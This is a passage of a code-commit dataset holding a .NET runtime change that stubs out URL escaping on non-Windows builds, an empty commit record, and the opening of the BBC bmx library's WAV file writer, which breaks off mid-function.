{"text":"<commit_before>\/\/ Licensed to the .NET Foundation under one or more agreements.\n\/\/ The .NET Foundation licenses this file to you under the MIT license.\n\/\/ See the LICENSE file in the project root for more information.\n\n\/*============================================================\n**\n** Header:  AssemblyName.cpp\n**\n** Purpose: Implements AssemblyName (loader domain) architecture\n**\n**\n\n\n**\n===========================================================*\/\n\n#include \"common.h\"\n\n#include <stdlib.h>\n#include <shlwapi.h>\n\n#include \"assemblyname.hpp\"\n#include \"security.h\"\n#include \"field.h\"\n#ifdef FEATURE_FUSION\n#include \"fusion.h\"\n#endif\n#include \"strongname.h\"\n#include \"eeconfig.h\"\n\n#ifndef URL_ESCAPE_AS_UTF8\n#define URL_ESCAPE_AS_UTF8              0x00040000  \/\/ Percent-encode all non-ASCII characters as their UTF-8 equivalents.\n#endif \n\nFCIMPL1(Object*, AssemblyNameNative::GetFileInformation, StringObject* filenameUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    struct _gc\n    {\n        ASSEMBLYNAMEREF result;\n        STRINGREF       filename;\n    } gc;\n\n    gc.result   = NULL;\n    gc.filename = (STRINGREF) filenameUNSAFE;\n\n    HELPER_METHOD_FRAME_BEGIN_RET_PROTECT(gc);\n\n    if (gc.filename == NULL)\n        COMPlusThrow(kArgumentNullException, W(\"ArgumentNull_FileName\"));\n\n    if (gc.filename->GetStringLength() == 0)\n        COMPlusThrow(kArgumentException, W(\"Argument_EmptyFileName\"));\n\n    gc.result = (ASSEMBLYNAMEREF) AllocateObject(MscorlibBinder::GetClass(CLASS__ASSEMBLY_NAME));\n\n\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    SString sFileName(gc.filename->GetBuffer());\n    PEImageHolder pImage = PEImage::OpenImage(sFileName, MDInternalImport_NoCache);\n\n    EX_TRY\n    {\n#ifdef FEATURE_CORECLR\n        \/\/ Allow AssemblyLoadContext.GetAssemblyName for native images on CoreCLR\n        if (pImage->HasNTHeaders() && pImage->HasCorHeader() && pImage->HasNativeHeader())\n            pImage->VerifyIsNIAssembly();\n        else\n            pImage->VerifyIsAssembly();\n#else\n        pImage->VerifyIsAssembly();\n#endif\n    }\n    EX_CATCH\n    {\n        Exception *ex = GET_EXCEPTION();\n        EEFileLoadException::Throw(sFileName,ex->GetHR(),ex);\n    }\n    EX_END_CATCH_UNREACHABLE;\n\n    SString sUrl = sFileName;\n    PEAssembly::PathToUrl(sUrl);\n\n    AssemblySpec spec;\n    spec.InitializeSpec(TokenFromRid(mdtAssembly,1),pImage->GetMDImport(),NULL,TRUE);\n#ifndef FEATURE_CORECLR\n    spec.SetCodeBase(sUrl);\n#endif\n    spec.AssemblyNameInit(&gc.result, pImage);\n    \n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(gc.result);\n}\nFCIMPLEND\n\nFCIMPL1(Object*, AssemblyNameNative::ToString, Object* refThisUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    OBJECTREF pObj          = NULL;\n    ASSEMBLYNAMEREF pThis   = (ASSEMBLYNAMEREF) (OBJECTREF) refThisUNSAFE;\n    HELPER_METHOD_FRAME_BEGIN_RET_1(pThis);\n\n    if (pThis == NULL)\n        COMPlusThrow(kNullReferenceException, W(\"NullReference_This\"));\n\n    Thread *pThread = GetThread();\n\n    CheckPointHolder cph(pThread->m_MarshalAlloc.GetCheckpoint()); \/\/hold checkpoint for autorelease\n\n    AssemblySpec spec;\n    spec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF*) &pThis, FALSE, FALSE); \n\n    StackSString name;\n#ifndef FEATURE_FUSION\n    spec.GetFileOrDisplayName(ASM_DISPLAYF_VERSION |\n                              ASM_DISPLAYF_CULTURE |\n                              ASM_DISPLAYF_PUBLIC_KEY_TOKEN,\n                              name);\n#else\n    spec.GetFileOrDisplayName(0, name);\n#endif \/\/ FEATURE_FUSION\n\n    pObj = (OBJECTREF) StringObject::NewString(name);\n\n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(pObj);\n}\nFCIMPLEND\n\n\nFCIMPL1(Object*, AssemblyNameNative::GetPublicKeyToken, Object* refThisUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    OBJECTREF orOutputArray = NULL;\n    OBJECTREF refThis       = (OBJECTREF) refThisUNSAFE;\n    HELPER_METHOD_FRAME_BEGIN_RET_1(refThis);\n\n    if (refThis == NULL)\n        COMPlusThrow(kNullReferenceException, W(\"NullReference_This\"));\n\n    ASSEMBLYNAMEREF orThis = (ASSEMBLYNAMEREF)refThis;\n    U1ARRAYREF orPublicKey = orThis->GetPublicKey();\n\n    if (orPublicKey != NULL) {\n        DWORD cb = orPublicKey->GetNumComponents();\n        StrongNameBufferHolder<BYTE> pbToken;\n\n        if (cb) {    \n            CQuickBytes qb;\n            BYTE *pbKey = (BYTE*) qb.AllocThrows(cb);\n            memcpy(pbKey, orPublicKey->GetDataPtr(), cb);\n\n            {\n                GCX_PREEMP();\n                if (!StrongNameTokenFromPublicKey(pbKey, cb, &pbToken, &cb))\n                    COMPlusThrowHR(StrongNameErrorInfo());\n            }\n        }\n\n        Security::CopyEncodingToByteArray(pbToken, cb, &orOutputArray);\n    }\n\n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(orOutputArray);\n}\nFCIMPLEND\n\nFCIMPL1(Object*, AssemblyNameNative::EscapeCodeBase, StringObject* filenameUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    STRINGREF rv        = NULL;\n    STRINGREF filename  = (STRINGREF) filenameUNSAFE;\n    HELPER_METHOD_FRAME_BEGIN_RET_1(filename);\n\n    LPWSTR pCodeBase = NULL;\n    DWORD  dwCodeBase = 0;\n    CQuickBytes qb;\n\n    if (filename != NULL) {\n        WCHAR* pString;\n        int    iString;\n        filename->RefInterpretGetStringValuesDangerousForGC(&pString, &iString);\n        dwCodeBase = (DWORD) iString;\n        pCodeBase = (LPWSTR) qb.AllocThrows((++dwCodeBase) * sizeof(WCHAR));\n        memcpy(pCodeBase, pString, dwCodeBase*sizeof(WCHAR));\n    }\n\n    if(pCodeBase) {\n        CQuickBytes qb2;\n        DWORD dwEscaped = 1;\n\n        DWORD flags = 0;\n        if (RunningOnWin7())\n            flags |= URL_ESCAPE_AS_UTF8;\n\n        UrlEscape(pCodeBase, (LPWSTR) qb2.Ptr(), &dwEscaped, flags);\n\n        LPWSTR result = (LPWSTR)qb2.AllocThrows((++dwEscaped) * sizeof(WCHAR));\n        HRESULT hr = UrlEscape(pCodeBase, result, &dwEscaped, flags);\n\n        if (SUCCEEDED(hr))\n            rv = StringObject::NewString(result);\n        else\n            COMPlusThrowHR(hr);\n    }\n\n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(rv);\n}\nFCIMPLEND\n\nFCIMPL4(void, AssemblyNameNative::Init, Object * refThisUNSAFE, OBJECTREF * pAssemblyRef, CLR_BOOL fForIntrospection, CLR_BOOL fRaiseResolveEvent)\n{\n    FCALL_CONTRACT;\n\n    ASSEMBLYNAMEREF pThis = (ASSEMBLYNAMEREF) (OBJECTREF) refThisUNSAFE;\n    HRESULT hr = S_OK;\n    \n    HELPER_METHOD_FRAME_BEGIN_1(pThis);\n    \n    *pAssemblyRef = NULL;\n\n    if (pThis == NULL)\n        COMPlusThrow(kNullReferenceException, W(\"NullReference_This\"));\n\n    Thread * pThread = GetThread();\n\n    CheckPointHolder cph(pThread->m_MarshalAlloc.GetCheckpoint()); \/\/hold checkpoint for autorelease\n\n    AssemblySpec spec;\n    hr = spec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF *) &pThis, TRUE, FALSE); \n\n    if (SUCCEEDED(hr))\n    {\n        spec.AssemblyNameInit(&pThis,NULL);\n    }\n    else if ((hr == FUSION_E_INVALID_NAME) && fRaiseResolveEvent)\n    {\n        Assembly * pAssembly = GetAppDomain()->RaiseAssemblyResolveEvent(&spec, fForIntrospection, FALSE);\n\n        if (pAssembly == NULL)\n        {\n            EEFileLoadException::Throw(&spec, hr);\n        }\n        else\n        {\n            *((OBJECTREF *) (&(*pAssemblyRef))) = pAssembly->GetExposedObject();\n        }\n    }\n    else\n    {\n        ThrowHR(hr);\n    }\n    \n    HELPER_METHOD_FRAME_END();\n}\nFCIMPLEND\n\n\/\/\/ \"parse\" tells us to parse the simple name of the assembly as if it was the full name\n\/\/\/ almost never the right thing to do, but needed for compat\n\/* static *\/\nFCIMPL3(FC_BOOL_RET, AssemblyNameNative::ReferenceMatchesDefinition, AssemblyNameBaseObject* refUNSAFE, AssemblyNameBaseObject* defUNSAFE, CLR_BOOL fParse)\n{\n    FCALL_CONTRACT;\n\n    struct _gc\n    {\n        ASSEMBLYNAMEREF pRef;\n        ASSEMBLYNAMEREF pDef;\n    } gc;\n    gc.pRef = (ASSEMBLYNAMEREF)ObjectToOBJECTREF (refUNSAFE);\n    gc.pDef = (ASSEMBLYNAMEREF)ObjectToOBJECTREF (defUNSAFE);\n\n    BOOL result = FALSE;\n    HELPER_METHOD_FRAME_BEGIN_RET_PROTECT(gc);\n\n    Thread *pThread = GetThread();\n\n    CheckPointHolder cph(pThread->m_MarshalAlloc.GetCheckpoint()); \/\/hold checkpoint for autorelease\n\n    if (gc.pRef == NULL)\n        COMPlusThrow(kArgumentNullException, W(\"ArgumentNull_AssemblyName\"));\n    if (gc.pDef == NULL)\n        COMPlusThrow(kArgumentNullException, W(\"ArgumentNull_AssemblyName\"));\n\n    AssemblySpec refSpec;\n    refSpec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF*) &gc.pRef, fParse, FALSE);\n\n    AssemblySpec defSpec;\n    defSpec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF*) &gc.pDef, fParse, FALSE);\n\n#ifdef FEATURE_FUSION\n    SafeComHolder<IAssemblyName> pRefName (NULL);\n    IfFailThrow(refSpec.CreateFusionName(&pRefName, FALSE));\n\n    SafeComHolder <IAssemblyName> pDefName (NULL);\n    IfFailThrow(defSpec.CreateFusionName(&pDefName, FALSE));\n\n    \/\/ Order matters: Ref->IsEqual(Def)\n    result = (S_OK == pRefName->IsEqual(pDefName, ASM_CMPF_IL_ALL));\n#else\n    result=AssemblySpec::RefMatchesDef(&refSpec,&defSpec);\n#endif\n    HELPER_METHOD_FRAME_END();\n    FC_RETURN_BOOL(result);\n}\nFCIMPLEND\n<commit_msg>Workaround missing UrlEscape<commit_after>\/\/ Licensed to the .NET Foundation under one or more agreements.\n\/\/ The .NET Foundation licenses this file to you under the MIT license.\n\/\/ See the LICENSE file in the project root for more information.\n\n\/*============================================================\n**\n** Header:  AssemblyName.cpp\n**\n** Purpose: Implements AssemblyName (loader domain) architecture\n**\n**\n\n\n**\n===========================================================*\/\n\n#include \"common.h\"\n\n#include <stdlib.h>\n#include <shlwapi.h>\n\n#include \"assemblyname.hpp\"\n#include \"security.h\"\n#include \"field.h\"\n#ifdef FEATURE_FUSION\n#include \"fusion.h\"\n#endif\n#include \"strongname.h\"\n#include \"eeconfig.h\"\n\n#ifndef URL_ESCAPE_AS_UTF8\n#define URL_ESCAPE_AS_UTF8              0x00040000  \/\/ Percent-encode all non-ASCII characters as their UTF-8 equivalents.\n#endif \n\nFCIMPL1(Object*, AssemblyNameNative::GetFileInformation, StringObject* filenameUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    struct _gc\n    {\n        ASSEMBLYNAMEREF result;\n        STRINGREF       filename;\n    } gc;\n\n    gc.result   = NULL;\n    gc.filename = (STRINGREF) filenameUNSAFE;\n\n    HELPER_METHOD_FRAME_BEGIN_RET_PROTECT(gc);\n\n    if (gc.filename == NULL)\n        COMPlusThrow(kArgumentNullException, W(\"ArgumentNull_FileName\"));\n\n    if (gc.filename->GetStringLength() == 0)\n        COMPlusThrow(kArgumentException, W(\"Argument_EmptyFileName\"));\n\n    gc.result = (ASSEMBLYNAMEREF) AllocateObject(MscorlibBinder::GetClass(CLASS__ASSEMBLY_NAME));\n\n\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    SString sFileName(gc.filename->GetBuffer());\n    PEImageHolder pImage = PEImage::OpenImage(sFileName, MDInternalImport_NoCache);\n\n    EX_TRY\n    {\n#ifdef FEATURE_CORECLR\n        \/\/ Allow AssemblyLoadContext.GetAssemblyName for native images on CoreCLR\n        if (pImage->HasNTHeaders() && pImage->HasCorHeader() && pImage->HasNativeHeader())\n            pImage->VerifyIsNIAssembly();\n        else\n            pImage->VerifyIsAssembly();\n#else\n        pImage->VerifyIsAssembly();\n#endif\n    }\n    EX_CATCH\n    {\n        Exception *ex = GET_EXCEPTION();\n        EEFileLoadException::Throw(sFileName,ex->GetHR(),ex);\n    }\n    EX_END_CATCH_UNREACHABLE;\n\n    SString sUrl = sFileName;\n    PEAssembly::PathToUrl(sUrl);\n\n    AssemblySpec spec;\n    spec.InitializeSpec(TokenFromRid(mdtAssembly,1),pImage->GetMDImport(),NULL,TRUE);\n#ifndef FEATURE_CORECLR\n    spec.SetCodeBase(sUrl);\n#endif\n    spec.AssemblyNameInit(&gc.result, pImage);\n    \n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(gc.result);\n}\nFCIMPLEND\n\nFCIMPL1(Object*, AssemblyNameNative::ToString, Object* refThisUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    OBJECTREF pObj          = NULL;\n    ASSEMBLYNAMEREF pThis   = (ASSEMBLYNAMEREF) (OBJECTREF) refThisUNSAFE;\n    HELPER_METHOD_FRAME_BEGIN_RET_1(pThis);\n\n    if (pThis == NULL)\n        COMPlusThrow(kNullReferenceException, W(\"NullReference_This\"));\n\n    Thread *pThread = GetThread();\n\n    CheckPointHolder cph(pThread->m_MarshalAlloc.GetCheckpoint()); \/\/hold checkpoint for autorelease\n\n    AssemblySpec spec;\n    spec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF*) &pThis, FALSE, FALSE); \n\n    StackSString name;\n#ifndef FEATURE_FUSION\n    spec.GetFileOrDisplayName(ASM_DISPLAYF_VERSION |\n                              ASM_DISPLAYF_CULTURE |\n                              ASM_DISPLAYF_PUBLIC_KEY_TOKEN,\n                              name);\n#else\n    spec.GetFileOrDisplayName(0, name);\n#endif \/\/ FEATURE_FUSION\n\n    pObj = (OBJECTREF) StringObject::NewString(name);\n\n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(pObj);\n}\nFCIMPLEND\n\n\nFCIMPL1(Object*, AssemblyNameNative::GetPublicKeyToken, Object* refThisUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    OBJECTREF orOutputArray = NULL;\n    OBJECTREF refThis       = (OBJECTREF) refThisUNSAFE;\n    HELPER_METHOD_FRAME_BEGIN_RET_1(refThis);\n\n    if (refThis == NULL)\n        COMPlusThrow(kNullReferenceException, W(\"NullReference_This\"));\n\n    ASSEMBLYNAMEREF orThis = (ASSEMBLYNAMEREF)refThis;\n    U1ARRAYREF orPublicKey = orThis->GetPublicKey();\n\n    if (orPublicKey != NULL) {\n        DWORD cb = orPublicKey->GetNumComponents();\n        StrongNameBufferHolder<BYTE> pbToken;\n\n        if (cb) {    \n            CQuickBytes qb;\n            BYTE *pbKey = (BYTE*) qb.AllocThrows(cb);\n            memcpy(pbKey, orPublicKey->GetDataPtr(), cb);\n\n            {\n                GCX_PREEMP();\n                if (!StrongNameTokenFromPublicKey(pbKey, cb, &pbToken, &cb))\n                    COMPlusThrowHR(StrongNameErrorInfo());\n            }\n        }\n\n        Security::CopyEncodingToByteArray(pbToken, cb, &orOutputArray);\n    }\n\n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(orOutputArray);\n}\nFCIMPLEND\n\nFCIMPL1(Object*, AssemblyNameNative::EscapeCodeBase, StringObject* filenameUNSAFE)\n{\n    FCALL_CONTRACT;\n\n    STRINGREF rv        = NULL;\n    STRINGREF filename  = (STRINGREF) filenameUNSAFE;\n    HELPER_METHOD_FRAME_BEGIN_RET_1(filename);\n\n#ifdef FEATURE_PAL\n    \/\/ UNIXTODO: UrlEscape not implemented\n    COMPlusThrow(kPlatformNotSupportedException);\n#else\n    LPWSTR pCodeBase = NULL;\n    DWORD  dwCodeBase = 0;\n    CQuickBytes qb;\n\n    if (filename != NULL) {\n        WCHAR* pString;\n        int    iString;\n        filename->RefInterpretGetStringValuesDangerousForGC(&pString, &iString);\n        dwCodeBase = (DWORD) iString;\n        pCodeBase = (LPWSTR) qb.AllocThrows((++dwCodeBase) * sizeof(WCHAR));\n        memcpy(pCodeBase, pString, dwCodeBase*sizeof(WCHAR));\n    }\n\n    if(pCodeBase) {\n        CQuickBytes qb2;\n        DWORD dwEscaped = 1;\n\n        DWORD flags = 0;\n        if (RunningOnWin7())\n            flags |= URL_ESCAPE_AS_UTF8;\n\n        UrlEscape(pCodeBase, (LPWSTR) qb2.Ptr(), &dwEscaped, flags);\n\n        LPWSTR result = (LPWSTR)qb2.AllocThrows((++dwEscaped) * sizeof(WCHAR));\n        HRESULT hr = UrlEscape(pCodeBase, result, &dwEscaped, flags);\n\n        if (SUCCEEDED(hr))\n            rv = StringObject::NewString(result);\n        else\n            COMPlusThrowHR(hr);\n    }\n#endif\n\n    HELPER_METHOD_FRAME_END();\n    return OBJECTREFToObject(rv);\n}\nFCIMPLEND\n\nFCIMPL4(void, AssemblyNameNative::Init, Object * refThisUNSAFE, OBJECTREF * pAssemblyRef, CLR_BOOL fForIntrospection, CLR_BOOL fRaiseResolveEvent)\n{\n    FCALL_CONTRACT;\n\n    ASSEMBLYNAMEREF pThis = (ASSEMBLYNAMEREF) (OBJECTREF) refThisUNSAFE;\n    HRESULT hr = S_OK;\n    \n    HELPER_METHOD_FRAME_BEGIN_1(pThis);\n    \n    *pAssemblyRef = NULL;\n\n    if (pThis == NULL)\n        COMPlusThrow(kNullReferenceException, W(\"NullReference_This\"));\n\n    Thread * pThread = GetThread();\n\n    CheckPointHolder cph(pThread->m_MarshalAlloc.GetCheckpoint()); \/\/hold checkpoint for autorelease\n\n    AssemblySpec spec;\n    hr = spec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF *) &pThis, TRUE, FALSE); \n\n    if (SUCCEEDED(hr))\n    {\n        spec.AssemblyNameInit(&pThis,NULL);\n    }\n    else if ((hr == FUSION_E_INVALID_NAME) && fRaiseResolveEvent)\n    {\n        Assembly * pAssembly = GetAppDomain()->RaiseAssemblyResolveEvent(&spec, fForIntrospection, FALSE);\n\n        if (pAssembly == NULL)\n        {\n            EEFileLoadException::Throw(&spec, hr);\n        }\n        else\n        {\n            *((OBJECTREF *) (&(*pAssemblyRef))) = pAssembly->GetExposedObject();\n        }\n    }\n    else\n    {\n        ThrowHR(hr);\n    }\n    \n    HELPER_METHOD_FRAME_END();\n}\nFCIMPLEND\n\n\/\/\/ \"parse\" tells us to parse the simple name of the assembly as if it was the full name\n\/\/\/ almost never the right thing to do, but needed for compat\n\/* static *\/\nFCIMPL3(FC_BOOL_RET, AssemblyNameNative::ReferenceMatchesDefinition, AssemblyNameBaseObject* refUNSAFE, AssemblyNameBaseObject* defUNSAFE, CLR_BOOL fParse)\n{\n    FCALL_CONTRACT;\n\n    struct _gc\n    {\n        ASSEMBLYNAMEREF pRef;\n        ASSEMBLYNAMEREF pDef;\n    } gc;\n    gc.pRef = (ASSEMBLYNAMEREF)ObjectToOBJECTREF (refUNSAFE);\n    gc.pDef = (ASSEMBLYNAMEREF)ObjectToOBJECTREF (defUNSAFE);\n\n    BOOL result = FALSE;\n    HELPER_METHOD_FRAME_BEGIN_RET_PROTECT(gc);\n\n    Thread *pThread = GetThread();\n\n    CheckPointHolder cph(pThread->m_MarshalAlloc.GetCheckpoint()); \/\/hold checkpoint for autorelease\n\n    if (gc.pRef == NULL)\n        COMPlusThrow(kArgumentNullException, W(\"ArgumentNull_AssemblyName\"));\n    if (gc.pDef == NULL)\n        COMPlusThrow(kArgumentNullException, W(\"ArgumentNull_AssemblyName\"));\n\n    AssemblySpec refSpec;\n    refSpec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF*) &gc.pRef, fParse, FALSE);\n\n    AssemblySpec defSpec;\n    defSpec.InitializeSpec(&(pThread->m_MarshalAlloc), (ASSEMBLYNAMEREF*) &gc.pDef, fParse, FALSE);\n\n#ifdef FEATURE_FUSION\n    SafeComHolder<IAssemblyName> pRefName (NULL);\n    IfFailThrow(refSpec.CreateFusionName(&pRefName, FALSE));\n\n    SafeComHolder <IAssemblyName> pDefName (NULL);\n    IfFailThrow(defSpec.CreateFusionName(&pDefName, FALSE));\n\n    \/\/ Order matters: Ref->IsEqual(Def)\n    result = (S_OK == pRefName->IsEqual(pDefName, ASM_CMPF_IL_ALL));\n#else\n    result=AssemblySpec::RefMatchesDef(&refSpec,&defSpec);\n#endif\n    HELPER_METHOD_FRAME_END();\n    FC_RETURN_BOOL(result);\n}\nFCIMPLEND\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>GUI: get runtime path from environment var<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2012, British Broadcasting Corporation\n * All Rights Reserved.\n *\n * Author: Philip de Nier\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *     * Redistributions of source code must retain the above copyright notice,\n *       this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of the British Broadcasting Corporation nor the names\n *       of its contributors may be used to endorse or promote products derived\n *       from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#define __STDC_LIMIT_MACROS\n\n#include <cstring>\n\n#include <bmx\/wave\/WaveWriter.h>\n#include <bmx\/Utils.h>\n#include <bmx\/BMXException.h>\n#include <bmx\/Logging.h>\n\nusing namespace std;\nusing namespace bmx;\n\n\n\/\/ prevent buffer size exceeding 50MB\n#define MAX_BUFFER_SIZE     (50 * 1000 * 1000)\n\n\n\nWaveWriter::WaveWriter(WaveIO *output, bool take_ownership)\n{\n    mOutput = output;\n    mOwnOutput = take_ownership;\n    mStartTimecodeSet = false;\n    mSetSampleCount = -1;\n    mBEXT = new WaveBEXT();\n    mSamplingRate = SAMPLING_RATE_48K;\n    mSamplingRateSet = false;\n    mQuantizationBits = 16;\n    mQuantizationBitsSet = false;\n    mChannelCount = 0;\n    mChannelBlockAlign = (mQuantizationBits + 7) \/ 8;\n    mBlockAlign = 0;\n    mBufferSize = 0;\n    mSampleCount = 0;\n    mJunkChunkFilePosition = 0;\n    mBEXTFilePosition = 0;\n    mDataChunkFilePosition = 0;\n    mFactChunkFilePosition = 0;\n    mUseRF64 = false;\n    mSetSize = -1;\n    mSetDataSize = -1;\n}\n\nWaveWriter::~WaveWriter()\n{\n    delete mBEXT;\n    if (mOwnOutput)\n        delete mOutput;\n\n    size_t i;\n    for (i = 0; i < mBufferSegments.size(); i++)\n        delete mBufferSegments[i];\n\n    for (i = 0; i < mTracks.size(); i++)\n        delete mTracks[i];\n}\n\nvoid WaveWriter::SetStartTimecode(Timecode start_timecode)\n{\n    mStartTimecode = start_timecode;\n    mStartTimecodeSet = true;\n}\n\nvoid WaveWriter::SetSampleCount(int64_t count)\n{\n    mSetSampleCount = count;\n}\n\nWaveTrackWriter* WaveWriter::CreateTrack()\n{\n    mTracks.push_back(new WaveTrackWriter(this, (uint32_t)mTracks.size()));\n    return mTracks.back();\n}\n\nvoid WaveWriter::PrepareWrite()\n{\n    size_t i;\n    for (i = 0; i < mTracks.size(); i++) {\n        mTracks[i]->mStartChannel = mChannelCount;\n        mChannelCount += mTracks[i]->mChannelCount;\n    }\n    mBlockAlign = mChannelBlockAlign * mChannelCount;\n\n    if (mStartTimecodeSet) {\n        mBEXT->SetTimeReference(convert_position(mStartTimecode.GetOffset(),\n                                                 mSamplingRate.numerator,\n                                                 mStartTimecode.GetRoundedTCBase(),\n                                                 ROUND_AUTO));\n    }\n\n    if (mSetSampleCount >= 0) {\n        mSetDataSize = mSetSampleCount * mBlockAlign;\n        mSetSize = 4 + (8 + 28) + (8 + mBEXT->GetSize()) + (8 + 16) + (8 + 4) + (8 + mSetDataSize);\n        if (mSetSize > UINT32_MAX)\n            mUseRF64 = true;\n    }\n\n    if (mUseRF64) {\n        mOutput->WriteTag(\"RF64\");\n        mOutput->WriteSize(-1);\n    } else {\n        mOutput->WriteTag(\"RIFF\");\n        if (mSetSize >= 0)\n            mOutput->WriteSize(mSetSize);\n        else\n            mOutput->WriteSize(0);\n    }\n    mOutput->WriteTag(\"WAVE\");\n\n    mJunkChunkFilePosition = mOutput->Tell();\n    if (mUseRF64) {\n        mOutput->WriteTag(\"ds64\");\n        mOutput->WriteSize(28);\n        mOutput->WriteUInt64((uint64_t)mSetSize);\n        mOutput->WriteUInt64((uint64_t)mSetDataSize);\n        mOutput->WriteUInt64((uint64_t)mSetSampleCount);\n        mOutput->WriteUInt32(0);\n    } else {\n        mOutput->WriteTag(\"JUNK\");\n        mOutput->WriteSize(28);\n        mOutput->WriteZeros(28);\n    }\n\n    mBEXTFilePosition = mOutput->Tell();\n    mBEXT->Write(mOutput);\n\n    mOutput->WriteTag(\"fmt \");\n    mOutput->WriteSize(16);\n    mOutput->WriteUInt16(1); \/\/ PCM\n    mOutput->WriteUInt16(mChannelCount);\n    mOutput->WriteUInt32(mSamplingRate.numerator);\n    mOutput->WriteUInt32(mBlockAlign * mSamplingRate.numerator); \/\/ bytes per second\n    mOutput->WriteUInt16(mBlockAlign);\n    mOutput->WriteUInt16(mQuantizationBits);\n\n    mFactChunkFilePosition = mOutput->Tell();\n    mOutput->WriteTag(\"fact\");\n    mOutput->WriteSize(4);\n    if (mSetSampleCount >= 0)\n        mOutput->WriteUInt32(mSetSampleCount);\n    else\n        mOutput->WriteUInt32(0);\n\n    mDataChunkFilePosition = mOutput->Tell();\n    mOutput->WriteTag(\"data\");\n    if (mUseRF64)\n        mOutput->WriteSize(-1);\n    else if (mSetDataSize >= 0)\n        mOutput->WriteSize(mSetDataSize);\n    else\n        mOutput->WriteSize(0);\n}\n\nvoid WaveWriter::WriteSamples(uint32_t track_index, const unsigned char *data, uint32_t size, uint32_t num_samples)\n{\n    if (size == 0)\n        return;\n\n    WaveTrackWriter *track = GetTrack(track_index);\n    uint16_t track_block_align = track->mChannelCount * mChannelBlockAlign;\n    BMX_CHECK(size >= num_samples * track_block_align);\n\n    uint32_t input_sample_count = 0;\n    uint32_t output_sample_count = 0;\n\n    if (mTracks.size() == 1) {\n        \/\/ no buffering required\n        mOutput->Write(data, num_samples * track_block_align);\n        input_sample_count = num_samples;\n        output_sample_count = num_samples;\n    } else {\n        \/\/ need to buffer\n        BufferSegment *segment;\n        size_t segment_index;\n        uint32_t segment_offset;\n        if (track->mSampleCount == mSampleCount) {\n            \/\/ create new segment\n            BMX_CHECK(mBufferSize < MAX_BUFFER_SIZE);\n            mBufferSegments.push_back(new BufferSegment);\n            segment = mBufferSegments.back();\n            segment->start_sample_count = mSampleCount;\n            segment->num_samples = num_samples;\n            segment->channel_count = 0;\n            segment->data.Allocate(mBlockAlign * num_samples);\n            segment->data.SetSize(mBlockAlign * num_samples);\n            memset(segment->data.GetBytes(), 0, segment->data.GetSize());\n\n            mBufferSize += mBlockAlign * num_samples;\n            segment_index = 0;\n            segment_offset = 0;\n            input_sample_count = num_samples;\n            output_sample_count = num_samples;\n        } else {\n            \/\/ get existing segment\n            BMX_ASSERT(!mBufferSegments.empty());\n            for (segment_index = 0; segment_index < mBufferSegments.size() - 1; segment_index++) {\n                if (track->mSampleCount < mBufferSegments[segment_index + 1]->start_sample_count)\n                    break;\n            }\n            segment = mBufferSegments[segment_index];\n            segment_offset = (uint32_t)(track->mSampleCount - segment->start_sample_count);\n            input_sample_count = segment->num_samples - segment_offset;\n            if (input_sample_count > num_samples)\n                input_sample_count = num_samples;\n        }\n\n        \/\/ copy samples to segment\n        unsigned char *output_ptr = segment->data.GetBytes() + segment_offset * mBlockAlign +\n                                    track->mStartChannel * mChannelBlockAlign;\n        const unsigned char *input_ptr = data;\n        uint32_t i;\n        for (i = 0; i < input_sample_count; i++) {\n            memcpy(output_ptr, input_ptr, track_block_align);\n            output_ptr += 